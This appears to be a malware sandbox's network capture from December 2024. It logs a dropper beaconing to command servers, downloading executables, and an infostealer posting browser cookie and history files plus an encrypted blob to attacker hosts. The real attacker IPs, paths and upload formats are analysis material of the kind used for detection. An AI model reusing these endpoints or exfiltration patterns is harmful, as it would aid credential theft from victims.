Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49898	185.215.113.43	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:05.474351883 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 36 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016969001&unit=246122658369
Dec 18, 2024 17:09:06.819406033 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49907	31.41.244.11	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:06.978216887 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 17:09:08.274633884 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:08 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT Connection: keep-alive ETag: "6761482a-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 18, 2024 17:09:08.274827957 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:08.274950981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:08.275306940 CET	1236	IN	Data Raw: 8b 6c 24 0c 8d 74 24 14 c6 07 00 68 35 02 00 00 56 e8 6d fe ff ff 83 c4 08 89 c7 3b 44 24 48 75 1a 8b 44 1d 24 8b 4c 24 04 0f b7 04 01 8b 4c 1d 1c 01 d9 8b 04 81 89 04 24 eb 05 83 44 24 08 04 8b 44 24 28 83 f8 10 72 2d 8b 4c 24 14 8d 70 01 81 fe Data Ascii: l$t$h5Vm;D$HuD$L$L$D$D$(r-L$prQ) sT$VQl$;\|$HtD$$4$L$,10^_[]*-USWV$$$ WB1$1
Dec 18, 2024 17:09:08.275320053 CET	1236	IN	Data Raw: ff ff 83 ec 14 0f 28 05 10 c0 41 00 0f 11 44 24 04 89 1c 24 c7 44 24 18 00 00 00 00 c7 44 24 14 80 00 00 00 ff d0 83 f8 ff 0f 84 ab 01 00 00 89 c7 6a 00 50 ff 15 98 39 42 00 83 f8 ff 0f 84 70 01 00 00 89 c3 50 e8 1c 13 00 00 83 c4 04 89 c5 8d 44 Data Ascii: (AD$$D$D$jP9BpPD$jPSUW,:BBW49BE<L=l$$D$\$L$WD$ WD$Uv+w\|$ D$$WUS`K
Dec 18, 2024 17:09:08.276180983 CET	672	IN	Data Raw: 08 89 f1 52 57 e8 0b 00 00 00 68 f8 41 42 00 56 e8 80 3f 00 00 56 89 ce 8b 44 24 0c ff 74 24 08 ff 70 04 ff 30 e8 f9 02 00 00 c7 06 10 c2 41 00 89 f0 5e c2 08 00 cc 57 56 89 ce 8b 7c 24 0c c7 01 28 c1 41 00 8d 41 04 31 c9 89 4e 08 89 4e 04 8d 4f Data Ascii: RWhABV?VD$t$p0A^WV\|$(AA1NNOPQEAGONFA^_WV\|$(AA1NNOPQDAGONF\A^_WV\|$(AA1NNOPQDAG
Dec 18, 2024 17:09:08.276187897 CET	1236	IN	Data Raw: c2 08 00 e8 93 fa ff ff cc 8b 44 24 04 8b 54 24 08 89 10 89 48 04 c2 08 00 8b 44 24 04 8b 10 8b 40 04 8b 49 04 33 48 04 33 54 24 08 09 ca 0f 94 c0 c2 08 00 cc 53 57 56 83 ec 0c 8b 74 24 20 8b 44 24 1c 8b 15 c0 57 42 00 31 e2 89 54 24 08 8b 11 89 Data Ascii: D$T$HD$@I3H3T$SWVt$ D$WB1T$PWROVI3J3L$1^_[USWVWB1D$WD$W$t$8l$4\$0wx@Wt$<PXQ
Dec 18, 2024 17:09:08.277010918 CET	1236	IN	Data Raw: 01 fb 8b 74 24 20 56 ff 74 24 20 53 e8 96 54 00 00 83 c4 0c c6 04 1e 00 89 7d 00 89 e8 83 c4 08 5e 5f 5b 5d c2 08 00 89 f8 83 c8 0f 01 d1 39 c8 89 ce 0f 47 f0 89 f0 40 75 0a 31 c0 31 f6 4e e9 13 ff ff ff 3d 00 10 00 00 0f 83 fb fe ff ff 50 e8 64 Data Ascii: t$ Vt$ ST}^_[]9G@u11N=PdhkV@\|u.Dt%L8P4u@DjP}^WVWB1D$V&t!@L8D$Pf1HT
Dec 18, 2024 17:09:08.277018070 CET	448	IN	Data Raw: 57 56 8b 5c 24 14 8b 74 24 10 39 de 74 1b 89 cf 83 c7 08 0f b6 06 57 50 e8 f6 21 00 00 83 c4 08 88 06 46 39 de 75 ec 89 de 89 f0 5e 5f 5b c2 08 00 0f b6 44 24 04 83 c1 08 51 50 e8 d3 21 00 00 83 c4 08 c2 04 00 cc 56 8b 44 24 08 8b 74 24 0c 89 f1 Data Ascii: WV\$t$9tWP!F9u^_[D$QP!VD$t$)QPt$tO^D$VD$t$)QPt$JO^D$Vy~vxv^FtPVD$(A1VVQP78
Dec 18, 2024 17:09:08.277023077 CET	1236	IN	Data Raw: 1c 00 00 b9 cc 69 42 00 e8 ef 03 00 00 68 88 b8 41 00 e8 45 01 00 00 59 c3 68 92 b8 41 00 e8 39 01 00 00 59 c3 55 8b ec eb 0d ff 75 08 e8 a9 65 00 00 59 85 c0 74 0f ff 75 08 e8 28 a0 00 00 59 85 c0 74 e6 5d c3 83 7d 08 ff 0f 84 f2 20 00 00 e9 31 Data Ascii: iBhAEYhA9YUueYtu(Yt]} 1UuY]UEV AtjVYY^]U];WBu!UVWdBW09Bu>u&}>td,dBWBW0:B_
Dec 18, 2024 17:09:08.406589985 CET	1236	IN	Data Raw: ec 56 6a 00 6a 00 e8 93 9b 00 00 8b 75 08 85 c0 59 59 b9 53 03 42 00 0f 45 c8 51 8d 4e 24 e8 41 00 00 00 8b 45 0c 85 c0 74 0a 50 6a 00 e8 6c 9b 00 00 59 59 85 c0 b9 88 0e 42 00 0f 45 c8 51 8d 4e 2c e8 1d 00 00 00 5e 5d c3 55 8b ec 8b 45 08 83 78 Data Ascii: VjjuYYSBEQN$AEtPjlYYBEQN,^]UEx$tp$j>YY]USW}9;t>;t3Y#t*?VtF>u+FVYtVWPH^_[]VV(A?~YtvKYfA^UQj cEY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49908	185.185.71.170	80	7960	C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:07.679245949 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 81766 Content-Type: multipart/form-data; boundary=------------------------uCPwyxxLhYjLA0axEek2UK Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 75 43 50 77 79 78 78 4c 68 59 6a 4c 41 30 61 78 45 65 6b 32 55 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 61 6c 69 6b 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a dc 54 18 67 27 e8 05 8a 6e dd 78 0c d3 28 60 ac ce 6f 6f 37 83 cc e1 ef 29 ce 9b 50 2c bc d2 ff 2b 7a 7c 66 a9 57 90 9c 06 7c da 67 68 5d f2 46 d2 fd 40 57 8a 08 c0 6c 30 c2 b1 30 cb 62 49 87 ce 03 32 49 c5 9b 14 df a9 20 df 18 97 45 b5 9b 90 91 4b 26 f2 1f 60 a3 37 13 38 8a c2 bc 8c 75 55 78 4f 58 94 e1 b0 6c 95 4f 5d cf 64 99 85 48 1d 63 b0 a8 0b d7 ea 93 83 b4 e6 b2 44 39 49 5f 12 24 fe f9 06 b3 0b c0 3e fa e4 1d 16 8c 9b ef 32 f1 c5 5b cd 21 35 57 aa 5f 94 bf 78 91 84 c2 4f 10 cf e7 8b b9 1b a1 44 98 a4 13 1d 0d 60 2c 28 c8 [TRUNCATED] Data Ascii: --------------------------uCPwyxxLhYjLA0axEek2UKContent-Disposition: form-data; name="file"; filename="Palika.bin"Content-Type: application/octet-streamTg'nx(`oo7)P,+z\|fW\|gh]F@Wl00bI2I EK&`78uUxOXlO]dHcD9I_$>2[!5W_xOD`,(vp~cbpp~LVry[vs9zp<- Lyrurm]Tcj<8HJ=vJw\jrN>gQW(6Z1;h"aBZS+1c_-0QtBeF"-@TJ[u;g)ZFs.nx);+@SbQA$ tL==U%z(lfh.(-Bqd%>w'?Rk N5c.Fp~9@8a`btEB4bLliD(+8!1]~]g['Z.'E?s,^m./o/0Dw77AGf"/<g~(!XuxZp@7iPPR;!$a%8y"1K)yn3:o'^a$S5x5<}Y#+h)yF86HX#eqau/'iU<z+3=)=r8h4A-?Fub2I [TRUNCATED]
Dec 18, 2024 17:09:07.812581062 CET	22248	OUT	Data Raw: 1d ad 0a 43 07 c0 0b 6c 23 37 2b 56 76 fa 74 7e d6 d1 78 34 bb 67 9d 95 8a 5b b8 85 38 b5 a4 7d b5 9b 51 28 1c 14 34 86 6b a8 0d 4c c6 e5 38 42 a6 b1 93 85 a8 80 7b 2d db b5 6a 77 c4 1e c7 48 4e e7 f1 d6 7d 5e 54 91 91 e3 f5 fd c7 37 2a 9f fc 49 Data Ascii: Cl#7+Vvt~x4g[8}Q(4kL8B{-jwHN}^T7I#:!0BuQ,=9p8\.81c&<i32$F!l-Pp%jPOIB}qLLl'3 q(i~B^:!{N*%,U'zW
Dec 18, 2024 17:09:07.827503920 CET	2472	OUT	Data Raw: e7 ab 52 8a d8 76 5a 18 b2 de 0b 1c f8 fb 2a 57 1a 06 86 d0 be 68 2e 26 0f 4f fb 5b ed 03 66 42 9d a0 71 d8 35 cb 68 b7 c1 b3 49 f2 51 02 52 ca ad c4 47 f9 8d 2f 1c e3 49 48 48 21 76 c6 77 73 d5 e7 39 64 2e d6 7d 15 6a 60 11 74 d2 75 4f 30 6c 12 Data Ascii: RvZ*Wh.&O[fBq5hIQRG/IHH!vws9d.}j`tuO0lXPz`QV8NTv]y@ 7f!<3\|5\<QcPa;tz?3r!}?C2d9$xHDJwTG2F(@6oTvs./;l_
Dec 18, 2024 17:09:07.934062958 CET	14832	OUT	Data Raw: dd ec f0 ac cb 7a 67 ef 67 a7 f6 2c 84 bf cc 8b dd dc 4e 45 12 ec 33 f7 74 f1 69 0b 5d a0 1e 7d 8b 0f f3 77 ab ee 82 3e 45 67 fe 89 82 b3 5a 60 74 1a e8 8c e0 8a 39 4b ba 9b 50 15 9c d8 df 05 9f 53 1a 85 0c 2f a1 c8 2b fd 8a b7 15 00 32 02 a7 ff Data Ascii: zgg,NE3ti]}w>EgZ`t9KPS/+2(lzZ(h)2hwD^MU__c;!k~?7\3R+&{U_!^@z{nn<!ha#=^a\P X@l9K*>56Ii
Dec 18, 2024 17:09:07.981087923 CET	27192	OUT	Data Raw: e8 d0 f7 5a 6b 48 aa 39 3b c6 28 8a e2 65 26 d7 57 24 97 8a b2 84 b4 1c 1a 01 da 53 ab 42 7b 48 ac 92 20 de f6 e2 8f 82 25 40 40 7a 93 9d 79 1c c8 30 8e 90 26 53 3b 66 0d df ac 4c a5 dc 8c 86 70 a3 9b 13 ae 76 c4 54 3d 09 35 b6 5f d1 57 2a 91 8c Data Ascii: ZkH9;(e&W$SB{H %@@zy0&S;fLpvT=5_W* 8t\se-Po:Ean'J=_ (\/]":,<}-f/i4Lvy~XIRV;YfEx[XW? eB&M":=RR\U_
Dec 18, 2024 17:09:08.107305050 CET	2846	OUT	Data Raw: 1a b0 aa 29 07 8c 48 58 fd 7e 2d 2f 6b 3c f3 13 08 26 6a ae f7 35 cb ea 9f 26 0a 34 ba 4c 47 c2 aa ec ef b3 1f d4 d0 60 96 7d 27 da c0 23 32 c2 22 bf 23 23 7c 37 43 09 ee c5 b2 b6 00 d1 aa 37 c8 87 69 13 12 56 e8 fc 21 d9 fc 53 f6 54 b4 da 92 f6 Data Ascii: )HX~-/k<&j5&4LG`}'#2"##\|7C7iV!STe<IH4322\|6Zc&22Knz34M]TIV4E$t>V-h4=;#OriZXs`0]v]ZZ$rg)hkUe_N9sq'x)@S
Dec 18, 2024 17:09:09.459976912 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Wed, 18 Dec 2024 16:09:09 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 28 x-ratelimit-reset: 1734539946 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49922	185.215.113.206	80	4408	C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:09.158725977 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECFIJDAAAKECBFCGHI Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DAECFIJDAAAKECBFCGHI--
Dec 18, 2024 17:09:11.003860950 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 17:09:11.254393101 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHI Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 17:09:11.254462004 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 Data Ascii: ------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Dec 18, 2024 17:09:12.199290037 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 17:09:12.415955067 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHDAKFIJJKKEBGDBAAK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 44 41 4b 46 49 4a 4a 4b 4b 45 42 47 44 42 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 44 41 4b 46 49 4a 4a 4b 4b 45 42 47 44 42 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 44 41 4b 46 49 4a 4a 4b 4b 45 42 47 44 42 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AEHDAKFIJJKKEBGDBAAKContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------AEHDAKFIJJKKEBGDBAAKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AEHDAKFIJJKKEBGDBAAKContent-Disposition: form-data; name="file"------AEHDAKFIJJKKEBGDBAAK--
Dec 18, 2024 17:09:13.397336006 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 17:09:15.625963926 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIECGIEBKJJJJKEGHJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="file"------JDGIECGIEBKJJJJKEGHJ--
Dec 18, 2024 17:09:16.570069075 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 17:09:17.763156891 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 18, 2024 17:09:18.208573103 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 18, 2024 17:09:18.208587885 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO
Dec 18, 2024 17:09:18.209389925 CET	1236	IN	Data Raw: 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 0a 08 00 83 c4 04 31 f6 eb 3c c7 87 Data Ascii: ?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$HD$4r
Dec 18, 2024 17:09:18.209409952 CET	1236	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 Data Ascii: $D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(
Dec 18, 2024 17:09:18.209428072 CET	1236	IN	Data Raw: c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 Data Ascii: 19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U
